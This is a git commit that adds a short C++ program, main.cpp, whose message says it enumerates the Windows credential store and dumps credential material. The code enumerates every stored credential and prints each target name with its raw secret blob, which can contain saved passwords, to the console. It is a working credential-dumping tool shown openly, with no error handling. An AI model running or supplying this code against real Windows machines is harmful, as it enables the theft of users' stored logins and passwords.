Ready to go

1. Code in place to enumerate the windows cred store and dump credential materials
2. Naive handling for wide characters
3. This probably could have been in C lol
4. Who needs braces? lol
This commit is contained in:
neko.py 2019-03-10 18:30:05 -07:00
parent c1733ac8ca
commit 725f88fa6f

40
main.cpp Normal file
View File

@ -0,0 +1,40 @@
#include <iostream>
#include <iomanip>
#include <string>
#include <sstream>
#include <windows.h>
#include <wincred.h>
void print_bytes(const DWORD length, const LPBYTE bytes) {
if (length == 0)
return;
std::cout << "\t";
std::stringstream ss;
for (DWORD i = 0; i < length; ++i)
ss << bytes[i];
auto s = ss.str();
if (s.c_str()[1] == '\0')
for (size_t i = 0; i < s.length(); i += 2)
std::cout << s.at(i);
else
std::cout << ss.str();
std::cout << std::endl;
}
int main(int argc, char* argv[])
{
DWORD count;
PCREDENTIAL *creds = 0x0;
CredEnumerate(0x0,
CRED_ENUMERATE_ALL_CREDENTIALS,
&count,
&creds);
for (auto cred = creds; *cred != nullptr; ++cred) {
std::wcout << (*cred)->TargetName << L":" << std::endl;
print_bytes((*cred)->CredentialBlobSize, (*cred)->CredentialBlob);
}
CredFree(creds);
return 0;
}